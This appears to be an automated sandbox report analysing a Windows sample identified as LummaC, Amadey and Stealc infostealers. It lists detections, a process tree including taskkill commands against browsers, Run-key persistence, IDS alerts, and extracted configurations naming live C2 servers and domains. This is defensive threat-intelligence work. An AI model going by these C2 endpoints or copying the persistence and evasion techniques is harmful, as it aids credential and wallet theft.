Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542735
MD5:	c46787c30a894fb065cab874cc71194f
SHA1:	5c1ccfdeb761ef93cfbf90f0f435d359cea4c11a
SHA256:	1c92aea47444412973dabc0493e6c97969392cecbb559fc264c8ecc70811f852
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6384 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C46787C30A894FB065CAB874CC71194F)

K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe (PID: 7440 cmdline: "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe" MD5: EA3D2DAC572AFAFDEFFFBB7C04854D36)

skotes.exe (PID: 7592 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EA3D2DAC572AFAFDEFFFBB7C04854D36)

JSB9K8LR5IJBR9A62C6KA1RW.exe (PID: 7932 cmdline: "C:\Users\user~1\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe" MD5: 79AD5F851A1231DB208F005432D0CF1C)

K2GPLQXM988TEBRN5R.exe (PID: 5528 cmdline: "C:\Users\user~1\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe" MD5: 34A58F4499119CFF16882D6C48F7C80D)

skotes.exe (PID: 7704 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA3D2DAC572AFAFDEFFFBB7C04854D36)

skotes.exe (PID: 6472 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA3D2DAC572AFAFDEFFFBB7C04854D36)

df757a3a2c.exe (PID: 2332 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe" MD5: C46787C30A894FB065CAB874CC71194F)

GQIHH842FUSCNH01PBIJ.exe (PID: 1544 cmdline: "C:\Users\user~1\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe" MD5: EA3D2DAC572AFAFDEFFFBB7C04854D36)

ea19c894e7.exe (PID: 4332 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe" MD5: 79AD5F851A1231DB208F005432D0CF1C)

582b1c6d88.exe (PID: 4196 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe" MD5: C2CF161C1BE2170FAE2524B889314DC6)

taskkill.exe (PID: 6324 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6600 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7472 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7544 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2516 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7636 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 4516 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

df757a3a2c.exe (PID: 6120 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe" MD5: C46787C30A894FB065CAB874CC71194F)

firefox.exe (PID: 7668 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7688 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3696 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2224 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eba2c7ab-39bc-45d6-96c8-420a20058b60} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f83036d510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7972 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3888 -parentBuildID 20230927232528 -prefsHandle 4616 -prefMapHandle 4612 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3cf177a-5ca3-49d8-bd46-401f0d45638e} 7688 "\\.\pipe\gecko-crash-server-pipe.7688" 1f840db7d10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

ea19c894e7.exe (PID: 3300 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe" MD5: 79AD5F851A1231DB208F005432D0CF1C)

582b1c6d88.exe (PID: 1464 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe" MD5: C2CF161C1BE2170FAE2524B889314DC6)

taskkill.exe (PID: 6268 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1001636001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001636001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.1854235695.0000000005570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1727985312.00000000008C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2141996499.000000000148F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2329666073.00000000006EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2204287430.0000000001490000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.1687526478.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.1912431700.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2327579765.00000000006EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000002.2448606708.0000000000171000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1732805446.00000000008C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.1692122509.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.1663554694.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000000.2317388418.0000000000AA1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2199846800.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2489778038.00000000006EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2204391709.0000000001497000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2316268549.00000000006EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1906278770.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2240323623.0000000000F11000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000003.2406500630.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.1954885956.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2195926648.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.2357078140.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2159769434.000000000148F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1707779280.0000000000CE1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2158369974.000000000148F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6384	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6384	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: JSB9K8LR5IJBR9A62C6KA1RW.exe PID: 7932	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: JSB9K8LR5IJBR9A62C6KA1RW.exe PID: 7932	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: df757a3a2c.exe PID: 2332	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: df757a3a2c.exe PID: 2332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: df757a3a2c.exe PID: 2332	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ea19c894e7.exe PID: 4332	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ea19c894e7.exe PID: 4332	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: df757a3a2c.exe PID: 6120	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: df757a3a2c.exe PID: 6120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: df757a3a2c.exe PID: 6120	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 52 entries

Unpacked PEs

Source	Rule	Description	Author
40.0.num.exe.aa0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.skotes.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
43.2.GQIHH842FUSCNH01PBIJ.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.ea19c894e7.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.ce0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.JSB9K8LR5IJBR9A62C6KA1RW.exe.ba0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6472, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\df757a3a2c.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6472, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\df757a3a2c.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6384, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe", ProcessId: 7440, ProcessName: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:52:45.199767+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49699	172.67.170.64	443	TCP
2024-10-26T08:52:46.747149+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49700	172.67.170.64	443	TCP
2024-10-26T08:52:58.588481+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49748	172.67.170.64	443	TCP
2024-10-26T08:54:05.574556+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49982	172.67.170.64	443	TCP
2024-10-26T08:54:06.863602+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49985	172.67.170.64	443	TCP
2024-10-26T08:54:21.291431+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49994	172.67.170.64	443	TCP
2024-10-26T08:54:23.153690+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49995	172.67.170.64	443	TCP
2024-10-26T08:54:24.524598+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49999	172.67.170.64	443	TCP
2024-10-26T08:54:50.947569+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50041	172.67.170.64	443	TCP
2024-10-26T08:54:55.774403+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50077	172.67.170.64	443	TCP
2024-10-26T08:54:57.035330+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50079	172.67.170.64	443	TCP
2024-10-26T08:55:05.774833+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50092	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:52:45.199767+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49699	172.67.170.64	443	TCP
2024-10-26T08:54:05.574556+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49982	172.67.170.64	443	TCP
2024-10-26T08:54:23.153690+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49995	172.67.170.64	443	TCP
2024-10-26T08:54:55.774403+0200	2049836	1	A Network Trojan was detected	192.168.2.7	50077	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:52:46.747149+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49700	172.67.170.64	443	TCP
2024-10-26T08:54:06.863602+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49985	172.67.170.64	443	TCP
2024-10-26T08:54:24.524598+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49999	172.67.170.64	443	TCP
2024-10-26T08:54:57.035330+0200	2049812	1	A Network Trojan was detected	192.168.2.7	50079	172.67.170.64	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:53:36.942298+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49759	185.215.113.16	80	TCP
2024-10-26T08:54:23.805433+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49998	185.215.113.16	80	TCP
2024-10-26T08:54:39.333699+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49996	185.215.113.16	80	TCP
2024-10-26T08:54:59.374549+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	50047	185.215.113.16	80	TCP
2024-10-26T08:55:15.233884+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	50096	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T08:54:05.180618+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49983	185.215.113.43	80	TCP
2024-10-26T08:54:14.750801+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49989	185.215.113.43	80	TCP
2024-10-26T08:54:22.821957+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49997	185.215.113.43	80	TCP
2024-10-26T08:54:27.768146+0200	2044696	1	A Network Trojan was detected	192.168.2.7	50008	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
